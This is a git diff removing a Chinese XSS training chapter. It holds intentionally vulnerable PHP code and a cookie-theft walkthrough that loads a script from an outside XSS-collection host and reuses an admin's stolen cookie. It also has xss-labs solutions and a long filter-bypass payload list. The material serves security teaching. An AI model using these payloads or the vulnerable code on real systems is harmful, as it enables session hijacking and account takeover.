test01
This commit is contained in:
@@ -1,959 +0,0 @@
|
||||
# 05.XSS
|
||||
|
||||
XSS 攻击全称跨站脚本攻击，是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为 XSS，XSS 是一种在 web 应用中的计算机安全漏洞，它允许恶意 web 用户将代码植入到 web网站里面，供给其它用户访问，当用户访问到有恶意代码的网页就会产生 xss 攻击。
|
||||
|
||||
## 1. XSS初体验
|
||||
|
||||
我们写一个留言板的网站
|
||||
|
||||
### 1.1 创建数据库
|
||||
|
||||
```sql
|
||||
mysql> create database message;
|
||||
Query OK, 1 row affected (0.00 sec)
|
||||
|
||||
mysql> use message
|
||||
Database changed
|
||||
```
|
||||
|
||||
### 1.2 创建留言板的表
|
||||
|
||||
```sql
|
||||
mysql> create table board(date varchar(200),content varchar(200))DEFAULT CHAR set utf8;
|
||||
Query OK, 0 rows affected (0.01 sec)
|
||||
```
|
||||
|
||||
### 1.3 网页源码
|
||||
|
||||
```php
|
||||
<!DOCTYPE HTML>
|
||||
<?php
|
||||
//留言处理
|
||||
if(isset($_POST['message']))
|
||||
$getMessage = $_POST['message'];
|
||||
else {
|
||||
$getMessage = "";
|
||||
}
|
||||
//全局配置
|
||||
date_default_timezone_set('Asia/Shanghai');
|
||||
$date = date("Y-m-d H:i:s");
|
||||
//数据库配置
|
||||
$dbhost = 'localhost'; // mysql服务器主机地址
|
||||
$dbuser = 'root'; // mysql用户名
|
||||
$dbpass = 'usbw'; // mysql用户名密码
|
||||
$dbname = 'message';
|
||||
$conn = mysqli_connect($dbhost, $dbuser, $dbpass) or exit('数据库连接失败');
|
||||
mysqli_query($conn, 'set names utf8');
|
||||
|
||||
mysqli_select_db($conn,$dbname);
|
||||
if($getMessage != ""){
|
||||
$sql = "insert into board(date, content) values('$date','$getMessage')";
|
||||
$retval = mysqli_query( $conn, $sql );
|
||||
}
|
||||
?>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<title>留言板</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>英格科技留言板</h1>
|
||||
<table border=1 width = 100%>
|
||||
<tr>
|
||||
<td>日期</td>
|
||||
<td>内容</td>
|
||||
</tr>
|
||||
<?php
|
||||
// 获取任务
|
||||
$sql = "select * from board ";
|
||||
$retval = mysqli_query( $conn, $sql );
|
||||
if(! $retval )
|
||||
{
|
||||
die('无法读取数据: ' . mysqli_error($conn));
|
||||
}
|
||||
while($row = mysqli_fetch_array($retval, MYSQLI_ASSOC))
|
||||
{
|
||||
echo "<tr><td> {$row['date']}</td> ".
|
||||
"<td>{$row['content']} </td> ".
|
||||
"</tr>";
|
||||
}
|
||||
?>
|
||||
|
||||
</table>
|
||||
<form action="index.php" method="post">
|
||||
内容：
|
||||
<textarea id="message" name="message"></textarea>
|
||||
<br />
|
||||
<input type="submit" value="提交"></input>
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
### 1.4 测试功能
|
||||
|
||||
|
||||
|
||||
## 2. XSS原理
|
||||
|
||||
在打开的留言板网页中按下F12，我们可以看到网页的前端源码
|
||||
|
||||
我们可以看到这部分的代码为
|
||||
|
||||
```html
|
||||
<td>hello world </td>
|
||||
```
|
||||
|
||||
其中hello world部分为我们自己提交的内容，如果我们提交的内容为`</td><script>alert("hello world")</script><td>`,那么最终的代码就变成
|
||||
|
||||
```html
|
||||
<td></td> <script>alert("hello world")</script> <td></td>
|
||||
```
|
||||
|
||||
由此可以看出，我们提交的`<script>`标签中的代码逃逸到了整个网页的代码中，而不仅仅只是一个字符串了
|
||||
当我们提交之后，就可以发现浏览器竟然执行了我们的弹窗请求，将`hello world`以弹窗的形式显示出来
|
||||
|
||||
点击确定，再次查看网页源代码，可以看到我们的代码确实已经跑到表格之外
|
||||
|
||||
我们先清空留言板数据库
|
||||
|
||||
```sql
|
||||
mysql> truncate table board;
|
||||
Query OK, 0 rows affected (0.01 sec)
|
||||
```
|
||||
|
||||
浏览器的容器能力比较强，我们根本不需要去闭合前后的标签，浏览器只要看到`<xxx>`这样的标签，就会自动认为这个是代码的一部分，而不是显示的字符串，在留言板中插入如下代码一样能触发`xss`
|
||||
|
||||
```html
|
||||
<script>alert("hello world")</script>
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
## 3. XSS种类
|
||||
|
||||
### 3.1 存储型xss
|
||||
|
||||
存储型xss是将用户提交的xss代码保存到数据库上，当有人访问页面的时候，服务器把数据库里面的xss代码查询出来，插入网页中交给用户，而用户的浏览器会执行其中的代码
|
||||
|
||||
|
||||
存储型xss是持久存储的，每次访问都会被触发
|
||||
|
||||
### 3.2 DOM型xss
|
||||
|
||||
DOM树
|
||||
|
||||
通过JavaScript，可以重构HTML文档，比如我们可以让图片在加载错误的时候，执行我们指定的js脚本，相当于图片的标签就是js的标签
|
||||
在留言板中提交如下内容，意思是当图片无法加载的时候，就执行后面的代码
|
||||
|
||||
```html
|
||||
<img src="xxx" onerror=alert("xss")>
|
||||
```
|
||||
|
||||
可以看到图片裂开了，然后就触发了js代码
|
||||
|
||||
|
||||
### 3.3 反射型xss
|
||||
|
||||
反射型XSS效果与存储型XSS和DOM型XSS差不多，唯一的差别是反射型XSS直接把GET中的参数显示在网页上，没有经过数据库，而存储型XSS是先存储到服务器上，再回显到网页的。
|
||||
|
||||
|
||||
#### 3.3.1 写一个搜索功能
|
||||
|
||||
在上面的留言板后面加上一个搜索功能
|
||||
|
||||
```php
|
||||
<!-- 搜索功能 -->
|
||||
<?php
|
||||
$dbhost = 'localhost'; // mysql服务器主机地址
|
||||
$dbuser = 'root'; // mysql用户名
|
||||
$dbpass = 'usbw'; // mysql用户名密码
|
||||
$dbname = 'message';
|
||||
$conn = mysqli_connect($dbhost, $dbuser, $dbpass);
|
||||
if (isset($_GET['search']))
|
||||
$getSearch = $_GET['search'];
|
||||
else {
|
||||
$getSearch = "";
|
||||
}
|
||||
?>
|
||||
<h1>"<?php echo $getSearch;?>"搜索结果</h1>
|
||||
<table border=1 width=100%>
|
||||
<tr>
|
||||
<td>日期</td>
|
||||
<td>内容</td>
|
||||
</tr>
|
||||
<?php
|
||||
// 获取任务
|
||||
$sql = "select * from board where content like '%$getSearch%'";
|
||||
$retval1 = mysqli_query($conn, $sql);
|
||||
if (!$retval1) {
|
||||
die('无法读取数据: ' . mysqli_error($conn));
|
||||
}
|
||||
while ($row = mysqli_fetch_array($retval1, MYSQLI_ASSOC)) {
|
||||
echo "<tr><td> {$row['date']}</td> " .
|
||||
"<td>{$row['content']} </td> " .
|
||||
"</tr>";
|
||||
}
|
||||
?>
|
||||
<?php
|
||||
mysqli_close($conn);
|
||||
?>
|
||||
</table>
|
||||
<form action="index.php" method="get">
|
||||
搜索：
|
||||
<textarea id="search" name="search"></textarea>
|
||||
<br />
|
||||
<input type="submit" value="搜索"></input>
|
||||
</form>
|
||||
```
|
||||
|
||||
#### 3.3.2 测试搜索功能
|
||||
|
||||
|
||||
|
||||
#### 3.3.3 反射型xss原理
|
||||
|
||||
在搜索界面按下f12查看源代码
|
||||
|
||||
这个双引号中的`12`是我们自己输入的，所以可以对代码进行闭合，由于前面讲过浏览器对于js标签会自动识别执行，所以我们只需要搜索如下内容就能触发反射型xss
|
||||
|
||||
```html
|
||||
<script>alert("hello world")</script>
|
||||
```
|
||||
|
||||
|
||||
|
||||
这个地址栏的地址可以复制给别人点击，这个搜索的内容是不会保存在数据库中
|
||||
|
||||
```html
|
||||
http://localhost:8081/index.php?search=%3Cscript%3Ealert%28%22hello+world%22%29%3C%2Fscript%3E
|
||||
```
|
||||
|
||||
反射型xss需要构造链接，并且让被攻击者自己点击链接，所以需要与社会工程学配合才可以达到最好效果
|
||||
|
||||
## 4. XSS的危害
|
||||
|
||||
- 盗取各种用户账号
|
||||
- 窃取用户Cookie资料，冒充用户身份进入网站
|
||||
- 劫持用户会话，执行任意操作
|
||||
- 刷流量，执行弹窗广告
|
||||
- 传播蠕虫病毒
|
||||
- 攻击者能在一定限度内记录用户的键盘输入
|
||||
|
||||
### 4.1 cookie
|
||||
|
||||
Cookie技术通过在请求和响应报文中写入cookie信息来控制客户端的状态
|
||||
|
||||
- Cookie会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存Cookie，客户端下次再向服务器发送请求时，会自动携带cookie信息，一起发送给服务器
|
||||
- 服务器发现客户端发送过来的cookie后，会去检查是从哪一个客户端发来的连接请求，然后对比服务器上的记录，最后得到之前的状态信息,这时，就可为客户端继续提供有状态化的服务了。
|
||||
|
||||
### 4.2 盗取客户端cookie实战
|
||||
|
||||
一个留言板的网站
|
||||
|
||||
|
||||
#### 4.2.1 XSS平台准备
|
||||
|
||||
xss平台可以自己搭建，也可以使用别人搭建好的，甚至js学习的不错的，可以不需要xss平台，直接将xss得到的信息发到邮箱
|
||||
本次案例使用的是xss平台(此平台搭建方法见下一节)
|
||||
|
||||
- 在xss平台上创建项目
|
||||
|
||||
|
||||
|
||||
- 选择需要的功能模块
|
||||
|
||||
|
||||
|
||||
- 获取xss脚本
|
||||
|
||||
|
||||
|
||||
```html
|
||||
<script src=http://xss.iproute.cn/0Esg1g?1632111988></script>
|
||||
```
|
||||
|
||||
#### 4.2.2 插入xss代码
|
||||
|
||||
在留言板中进行留言，留言的内容中必须包含xss脚本
|
||||
|
||||
提交成功之后，我们就可以在留言板界面看到这条留言，可以发现我们夹带在其中的代码已经被执行了
|
||||
|
||||
在xss平台上，我们也可以看到这个游客身份的cookie已经被获取
|
||||
|
||||
下面等待管理员上线
|
||||
|
||||
#### 4.2.3 模拟管理员上线
|
||||
|
||||
这个网站的后台是
|
||||
|
||||
```
|
||||
https://d20.s.iproute.cn/index.php?c=adminlogin
|
||||
```
|
||||
|
||||
|
||||
登录成功后，我们查看到这条留言
|
||||
|
||||
此时管理员的cookie已经被提交到xss平台上面，我们已经获取到管理员的cookie以及后台的地址
|
||||
|
||||
|
||||
#### 4.2.4 盗用管理员cookie登录后台
|
||||
|
||||
这边使用cookie修改器，强行修改cookie的内容，然后登录后台
|
||||
|
||||
修改玩cookie之后，直接发起访问
|
||||
|
||||
哪怕直接修改管理员密码都是可以的
|
||||
|
||||
|
||||
### 4.3 xss平台搭建
|
||||
|
||||
windows下就可以搭建xss平台，但是xss平台以后工作中使用都是要有公网环境的，而公网服务器大都是Linux系统，所以此处建议熟悉一下Linux下的搭建过程，不要去随意追求省事。
|
||||
|
||||
#### 4.3.1 安装nginx
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# vim /etc/yum.repos.d/nginx.repo
|
||||
[nginx]
|
||||
name=nginx repo
|
||||
baseurl=http://nginx.org/packages/centos/7/$basearch/
|
||||
gpgcheck=0
|
||||
enabled=1
|
||||
|
||||
[root@localhost ~]# yum -y install nginx
|
||||
```
|
||||
|
||||
#### 4.3.2 修改nginx用户
|
||||
|
||||
为了方便后面源码文件的权限管理，将nginx和php都设置为www用户
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# groupadd www -g 666
|
||||
[root@localhost ~]# useradd www -u 666 -g 666 -s /sbin/nologin -M
|
||||
|
||||
[root@localhost ~]# sed -i '/^user/c user www;' /etc/nginx/nginx.conf
|
||||
```
|
||||
|
||||
#### 4.3.3 启动nginx并加入开机自启
|
||||
|
||||
```bash
|
||||
# 启动nginx服务
|
||||
[root@localhost ~]# systemctl start nginx
|
||||
|
||||
# 设置nginx开机自启动
|
||||
[root@localhost ~]# systemctl enable nginx
|
||||
```
|
||||
|
||||
#### 4.3.4 防火墙配置
|
||||
|
||||
```bash
|
||||
# 关闭防火墙(不推荐)
|
||||
[root@localhost ~]# systemctl stop firewalld
|
||||
[root@localhost ~]# systemctl disable firewalld
|
||||
|
||||
# 防火墙放行指定的协议
|
||||
[root@localhost ~]# firewall-cmd --add-service=http --permanent
|
||||
success
|
||||
[root@localhost ~]# firewall-cmd --reload
|
||||
success
|
||||
```
|
||||
|
||||
#### 4.3.5 使用第三方扩展源安装php7.1
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# vim /etc/yum.repos.d/php.repo
|
||||
[php]
|
||||
name = php Repository
|
||||
baseurl = http://repo.webtatic.com/yum/el7/x86_64/
|
||||
gpgcheck = 0
|
||||
|
||||
# 安装epel扩展软件仓库
|
||||
[root@localhost ~]# yum -y install epel-release
|
||||
[root@localhost ~]# yum -y install php71w php71w-cli php71w-common php71w-devel php71w-embedded php71w-gd php71w-mcrypt php71w-mbstring php71w-pdo php71w-xml php71w-fpm php71w-mysqlnd php71w-opcache php71w-pecl-memcached php71w-pecl-redis php71w-pecl-mongodb
|
||||
```
|
||||
|
||||
#### 4.3.6 修改php-fpm用户为www
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# sed -i '/^user/c user = www' /etc/php-fpm.d/www.conf
|
||||
[root@localhost ~]# sed -i '/^group/c user = www' /etc/php-fpm.d/www.conf
|
||||
```
|
||||
|
||||
#### 4.3.7 启动php-fpm
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# systemctl start php-fpm
|
||||
[root@localhost ~]# systemctl enable php-fpm
|
||||
```
|
||||
|
||||
#### 4.3.8 修改nginx配置文件
|
||||
|
||||
主要让nginx支持php的fastcgi
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
|
||||
# 将下面这一行从location中移动到server下
|
||||
root /usr/share/nginx/html;
|
||||
# 在最后一行的大括号前，加上下面的代码
|
||||
location ~ \.php$ {
|
||||
fastcgi_pass 127.0.0.1:9000;
|
||||
fastcgi_index index.php;
|
||||
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
|
||||
include fastcgi_params;
|
||||
}
|
||||
|
||||
# 重启nginx，让配置生效
|
||||
[root@localhost ~]# systemctl restart nginx
|
||||
```
|
||||
|
||||
测试是否能正常运行php
|
||||
|
||||
|
||||
#### 4.3.9 安装mariadb数据库
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# yum install mariadb-server mariadb -y
|
||||
[root@localhost ~]# systemctl start mariadb
|
||||
[root@localhost ~]# systemctl enable mariadb
|
||||
[root@localhost ~]# mysqladmin password '123456'
|
||||
[root@localhost ~]# mysql -uroot -p123456
|
||||
```
|
||||
|
||||
#### 4.3.10 创建xssplatform数据库
|
||||
|
||||
```sql
|
||||
MariaDB [(none)]> create database xssplatform;
|
||||
Query OK, 1 row affected (0.00 sec)
|
||||
|
||||
MariaDB [(none)]> show databases;
|
||||
+--------------------+
|
||||
| Database |
|
||||
+--------------------+
|
||||
| information_schema |
|
||||
| mysql |
|
||||
| performance_schema |
|
||||
| test |
|
||||
| xssplatform |
|
||||
+--------------------+
|
||||
5 rows in set (0.00 sec)
|
||||
```
|
||||
|
||||
#### 4.3.11 配置rewrite规则
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# vim /etc/nginx/conf.d/default.conf
|
||||
# 修改location里面的内容如下
|
||||
location / {
|
||||
index index.php index.html index.htm;
|
||||
rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 last;
|
||||
rewrite "^/do/auth/(\w+?)(/domain/([\w\.]+?))?$" /index.php?do=do&auth=$1&domain=$3 last;
|
||||
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 last;
|
||||
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 last;
|
||||
}
|
||||
|
||||
# 重启nginx，让配置生效
|
||||
[root@localhost ~]# systemctl restart nginx
|
||||
```
|
||||
|
||||
#### 4.3.12 部署xssplatform
|
||||
|
||||
清空`/usr/share/nginx/html`目录下的所有文件
|
||||
上传xssplatform到`/usr/share/nginx/html`目录下
|
||||
|
||||
```bash
|
||||
[root@localhost ~]# cd /usr/share/nginx/html/
|
||||
[root@localhost html]# rm -rf *
|
||||
[root@localhost html]# unzip xssplatform.zip
|
||||
[root@localhost html]# chown -R www.www /usr/share/nginx/html
|
||||
[root@localhost html]# setenforce 0
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 5. XSS防范
|
||||
|
||||
### 5.1 替换双引号
|
||||
|
||||
可以添加对提交语句的过滤，比如如果遇到引号，就用html的特殊字符进行替换
|
||||
|
||||
| HTML 原代码 | 显示结果 | 描述 |
|
||||
| ----------- | -------- | ---------------------- |
|
||||
| `<` | < | 小于号或显示标记 |
|
||||
| `>` | > | 大于号或显示标记 |
|
||||
| `&` | & | 可用于显示其它特殊字符 |
|
||||
| `"` | “ | 引号 |
|
||||
| `®` | ® | 已注册 |
|
||||
| `©` | © | 版权 |
|
||||
| `™` | ™ | 商标 |
|
||||
| ` ` | | 半个空白位 |
|
||||
| ` ` | | 一个空白位 |
|
||||
| ` ` | | 不断行的空白 |
|
||||
|
||||
替换的php代码
|
||||
|
||||
```php
|
||||
$getMessage = str_replace("\"", """,$getMessage);
|
||||
```
|
||||
|
||||
提交正常的带引号的评论进行测试
|
||||
|
||||
提交xss弹窗语句，发现双引号已经被替换
|
||||
|
||||
提交不用双引号的xss代码
|
||||
|
||||
```html
|
||||
<script>alert(/hello world/)</script>
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 5.2 替换script
|
||||
|
||||
替换script，就可以让代码执行不起来了，再加上一个替换语句
|
||||
|
||||
```javascript
|
||||
$getMessage = str_replace("script", "",$getMessage);
|
||||
```
|
||||
|
||||
再次提交xss代码，发现script代码已经被吞
|
||||
|
||||
尝试提交下面的代码绕过
|
||||
|
||||
```html
|
||||
<sCRiPt>alert(/hello world/)</ScRIpT>
|
||||
```
|
||||
|
||||
大小写绕过成功
|
||||
|
||||
假如我们将大小写全部给匹配上，我们依旧可以利用双写法绕过
|
||||
|
||||
```html
|
||||
<scscriptript>alert(/hello world/)</scrscriptipt>
|
||||
```
|
||||
|
||||
不用`<script>`一样能触发xss
|
||||
|
||||
```html
|
||||
<img src="x" onerror=alert(/xss/)>
|
||||
```
|
||||
|
||||
## 6. XSS挑战之旅
|
||||
|
||||
### 6.1 Level-1
|
||||
|
||||
在“name=”后面写什么，网页就显示什么。
|
||||
|
||||
查看源码，发现写入的数据在<>标签的外面，那么name的值直接换成JS：`<script>alert(1)</script>`
|
||||
|
||||
|
||||
|
||||
### 6.2 Level-2
|
||||
|
||||
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出，查看网页源码，发现<>都被过滤掉了
|
||||
|
||||
|
||||
但value里面没有过滤掉，闭合value的值，`"><script>alert(1)</script>`成功弹出窗口
|
||||
|
||||
|
||||
### 6.3 Level-3
|
||||
|
||||
在搜索框中输入`<script>alert(1)</script>`,发现没有弹窗弹出，查看网页源码，发现<>都被转义了
|
||||
|
||||
|
||||
将`<script>alert(1)</script>`进行编码后尝试
|
||||
|
||||
发现还是被转译了
|
||||
|
||||
由于<>都被转义了过滤了，可以利用input标签的其他属性进行窗口弹出
|
||||
`' onfocus=javascript:alert(1) '`
|
||||
|
||||
在源码里直接修改input标签里的内容，也能实现窗口弹出，这种方法对有input标签的题目都有用。
|
||||
这种方法在CTF中可以用到，实际的利用会比较困难。
|
||||
|
||||
|
||||
### 6.4 Level-4
|
||||
|
||||
在搜索框中输入`<script>alert(1)</script>`，查看网页源码，发现<>被转义和过滤掉了。和Level-3一样，可以利用input标签的其他属性进行窗口弹出，
|
||||
`" onfocus=javascript:alert(1) "`
|
||||
|
||||
|
||||
### 6.5 Level-5
|
||||
|
||||
在搜索框中输入`<script>alert(1)</script>`，查看源码，发现script被转义成scr_ipt，on被转义成o_n，但javascript没有被转义。
|
||||
|
||||
输入`"><a href=javascript:alert(1)>点我啊</a>`
|
||||
|
||||
|
||||
### 6.6 Level-6
|
||||
|
||||
在搜索框中输入`<script>alert(1)</script>`等代码。发现转义了script、on、href、src等关键词。
|
||||
|
||||
|
||||
|
||||
尝试大小写绕过：`" ><sCRipt>alert(1)</script>`
|
||||
|
||||
当然使用万能的修改Input源码也是可以触发的
|
||||
|
||||
### 6.7 Level-7
|
||||
|
||||
发现过滤了很多关键词：
|
||||
|
||||
```
|
||||
<script> 变成了 <>
|
||||
<a href> 变成了 <a>
|
||||
<img src> 变成了 <img>
|
||||
onerror 变成了error
|
||||
javacript:变成了java:
|
||||
```
|
||||
|
||||
|
||||
尝试双写script绕过
|
||||
`" ><sCRsCRiptipt>alert(1)</scrscriptipt>`
|
||||
|
||||
|
||||
### 6.8 Level-8
|
||||
|
||||
输入`<script>alert(1)</script>`,发现输入的内容在a标签的href内。
|
||||
|
||||
在网址后面加：javascript:alert(1)，变成javascr_ipt:alert(1)，大小写绕过没用
|
||||
|
||||
利用属性引号中的内容可以使用空字符、空格、TAB换行、注释、特殊的函数，将代码隔开。如：javas%09cript:alert()、javas%0acript:alert()、javas%0dcript:alert()的特性，成功绕过
|
||||
前面在SQL注入绕过阶段就讲过空字符绕过，回顾一下
|
||||
|
||||
| 编码 | 空格字符 |
|
||||
| ---- | ----------------- |
|
||||
| %09 | TAB键(水平制表符) |
|
||||
| %0a | 新的一行 |
|
||||
| %0c | 新的一页 |
|
||||
| %0d | return功能 |
|
||||
| %0b | TAB键(垂直制表符) |
|
||||
| %a0 | 空格 |
|
||||
|
||||
|
||||
|
||||
### 6.9 Level-9
|
||||
|
||||
输入javascript:alert(1)查看源码显示“链接不合法”，尝试输入正常的链接：http://127.0.0.1显示正常
|
||||
|
||||
|
||||
疑似检测字符串是否存在http://，所以写一个不是网址的字符串
|
||||
`hellohttp://world`
|
||||
|
||||
输入`javas%0acript:alert(1) <!-- http:// -->`
|
||||
或者`javas%0acript:alert(1) // http:// `
|
||||
|
||||
|
||||
### 6.10 Level-10
|
||||
|
||||
使用万能的input方法...当然不建议，只是带大家回顾一下(*╯3╰)
|
||||
|
||||
观察源码，发现有个form表单，然后默认是GET提交的方式，里面有三个被隐藏的input，我们尝试一个个的手动提交这些变量名，结果发现t_sort会被携带在value中
|
||||
|
||||
提交一下t_sort的值
|
||||
|
||||
发现出现在value中了
|
||||
|
||||
构建攻击内容
|
||||
`?t_sort=1" onfocus=alert(1) type=“text”`
|
||||
|
||||
查看一下提交之后的源码
|
||||
|
||||
|
||||
### 6.11 Level-11
|
||||
|
||||
提交`?t_sort=1" onfocus=alert(1) type=“text”`发现已经讲特殊符号实体化，在前端源码中发现了新线索就是这个t_ref，疑似referer
|
||||
|
||||
尝试使用修改请求中的referer，然后发现填写的内容出现在了value中
|
||||
|
||||
|
||||
构造攻击语句
|
||||
`?t_sort=1" onfocus=alert(1) type=“text”`
|
||||
|
||||
|
||||
### 6.12 Level-12
|
||||
|
||||
打开源码，发现ua，那就和Level-11的方式一样了
|
||||
|
||||
|
||||
|
||||
### 6.13 Level-13
|
||||
|
||||
与11和12一样
|
||||
|
||||
查询到cookie的名称为user
|
||||
|
||||
提交攻击语句
|
||||
|
||||
|
||||
### 6.14 Level-14
|
||||
|
||||
原版第14关是无法正常工作的，这边英格已经将代码补齐了，这关是考察图片的exif信息会导致xss
|
||||
可以看到会显示照片的作者在网页上
|
||||
|
||||
找张图片修改作者的信息
|
||||
|
||||
将图片传上去，就可以触发xss
|
||||
|
||||
|
||||
### 6.15 Level-15
|
||||
|
||||
这关考察的是AngularJS的ng-include指令，可以在源码中看到引入了angularjs，并且页面中存在ng-include
|
||||
关于ng-include的指令可以参考[https://www.runoob.com/angularjs/ng-ng-include.html](https://www.runoob.com/angularjs/ng-ng-include.html)
|
||||
|
||||
我们引入第一关的页面
|
||||
|
||||
利用第一关的xss
|
||||
|
||||
|
||||
### 6.16 Level-16
|
||||
|
||||
先试试`<script>alert(1)</script>`，发现script被替换为 
|
||||
|
||||
不使用script，换成`<img src=1 onerror=alert(1)>`，发现空格被替换
|
||||
|
||||
使用%0a替代空格
|
||||
`<img%0asrc=1%0aonerror=alert(1)>`
|
||||
|
||||
|
||||
### 6.17 Level-17
|
||||
|
||||
尝试修改一下变量值，可以看到会被填到src部分，并且src没有引号，不需要闭合
|
||||
|
||||
传入`<script>alert(1)</script>`进行测试，不能使用`<`或者`>`符号
|
||||
|
||||
传入`onclick=alert(1)`进行测试，发现前面没有空格隔开不行
|
||||
|
||||
传入`%20onclick=alert(1)`，进行测试，但是无法点击触发
|
||||
|
||||
修改为`%20onmouseover=alert(1)`，鼠标滑过成功触发
|
||||
|
||||
|
||||
### 6.18 Level-18
|
||||
|
||||
和17关一样
|
||||
`%20onmouseover=alert(1)`
|
||||
|
||||
|
||||
### 6.19 Level-19
|
||||
|
||||
flash漏洞，鉴于现在flash已经全面淘汰，此漏洞没有研究价值
|
||||
下图是payload，但是浏览器已经无法加载flash了，所以没有触发，如果以后遇到有flash的页面的话，可以尝试去找找flash的通用漏洞。
|
||||
|
||||
|
||||
### 6.20 Level-20
|
||||
|
||||
同Level-19，漏洞已过时
|
||||
|
||||
## 7. XSS绕过
|
||||
|
||||
### 7.1 a标签
|
||||
|
||||
```html
|
||||
#javascript协议
|
||||
<a href=javascript:alert(1)>点我啊</a>
|
||||
|
||||
# data协议
|
||||
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>点我</a>
|
||||
|
||||
# url编码的data协议
|
||||
<a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>
|
||||
|
||||
# 另两种方式实现
|
||||
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
|
||||
<math><a xlink:href=javascript:alert(1)>点我</math>
|
||||
```
|
||||
|
||||
### 7.2 script标签
|
||||
|
||||
```html
|
||||
# 直接弹窗
|
||||
<script>alert(1)</script>
|
||||
<script>confirm(1)</script>
|
||||
<script>pormpt(1)</script>
|
||||
|
||||
# javascript协议编码
|
||||
<script>alert(String.fromCharCode(49))</script>
|
||||
|
||||
# 如果输出是在setTimeout里，我们依然可以直接执行alert(1)
|
||||
<script>setTimeout('alert(1)',0)</script>
|
||||
```
|
||||
|
||||
### 7.3 button标签
|
||||
|
||||
```html
|
||||
# 点击弹窗
|
||||
<button/onclick=alert(1) >点我</button>
|
||||
|
||||
# 不需要点击就能弹窗
|
||||
<button onfocus=alert(1) autofocus>
|
||||
```
|
||||
|
||||
### 7.4 p标签
|
||||
|
||||
```html
|
||||
# 可以直接使用事件触发
|
||||
<p/onmouseover=alert(1)>点我</p>
|
||||
```
|
||||
|
||||
### 7.5 img标签
|
||||
|
||||
```html
|
||||
# 可以使用事件触发
|
||||
<img src=x onerror=alert(1)>
|
||||
```
|
||||
|
||||
### 7.6 body标签
|
||||
|
||||
```html
|
||||
# 事件触发
|
||||
<body onload=alert(1)>
|
||||
|
||||
# onscroll 事件在元素滚动条在滚动时触发，即页面存在很多内容，需要滚动才能看到下面的内容，就会触发
|
||||
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
|
||||
```
|
||||
|
||||
### 7.7 var标签
|
||||
|
||||
```html
|
||||
# 事件触发，一般是用不需交互的事件比如鼠标移动等
|
||||
<var onmousemove=alert(1)>M</var>
|
||||
```
|
||||
|
||||
### 7.8 div标签
|
||||
|
||||
```html
|
||||
# 事件触发
|
||||
<div/onclick='alert(1)'>X</div>
|
||||
```
|
||||
|
||||
### 7.9 input标签
|
||||
|
||||
```html
|
||||
和button一样通过autofocus可以达到无需交互即可弹窗的效果。
|
||||
<input onfocus=javascript:alert(1) autofocus>
|
||||
<input onblur=javascript:alert(1) autofocus><input autofocus>
|
||||
```
|
||||
|
||||
### 7.10 select标签
|
||||
|
||||
```html
|
||||
<select onfocus=javascript:alert(1) autofocus>
|
||||
```
|
||||
|
||||
### 7.11 textarea标签
|
||||
|
||||
```html
|
||||
<textarea onfocus=javascript:alert(1) autofocus>
|
||||
```
|
||||
|
||||
### 7.12 keygen标签
|
||||
|
||||
```html
|
||||
<keygen onfocus=javascript:alert(1) autofocus>
|
||||
```
|
||||
|
||||
### 7.13 frameset标签
|
||||
|
||||
```html
|
||||
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
|
||||
```
|
||||
|
||||
### 7.14 svg标签
|
||||
|
||||
```html
|
||||
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
|
||||
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
|
||||
```
|
||||
|
||||
### 7.15 math标签
|
||||
|
||||
```html
|
||||
<math href="javascript:javascript:alert(1)">CLICKME</math>
|
||||
<math><y/xlink:href=javascript:alert(51)>test1
|
||||
```
|
||||
|
||||
### 7.16 video标签
|
||||
|
||||
```html
|
||||
<video><source onerror="alert(1)">
|
||||
<video src=x onerror=alert(48)>
|
||||
```
|
||||
|
||||
### 7.17 audio标签
|
||||
|
||||
```html
|
||||
<audio src=x onerror=alert(47)>
|
||||
```
|
||||
|
||||
### 7.18 embed标签
|
||||
|
||||
```html
|
||||
<embed src=javascript:alert(1)>
|
||||
```
|
||||
|
||||
### 7.19 meta标签
|
||||
|
||||
```html
|
||||
测试发现，文章标题跑到meta标签中，那么只需要跳出当前属性再添加http-equiv=”refresh”，就可以构造一个有效地xss payload。还有一个思路，就是通过给http-equiv设置set-cookie，进一步重新设置cookie来达成一些目的。
|
||||
<meta http-equiv="refresh" content="0;javascript:alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
|
||||
```
|
||||
|
||||
### 7.20 marquee标签
|
||||
|
||||
```html
|
||||
<marquee onstart="alert('1')"></marquee>
|
||||
```
|
||||
|
||||
### 7.21 isindex标签
|
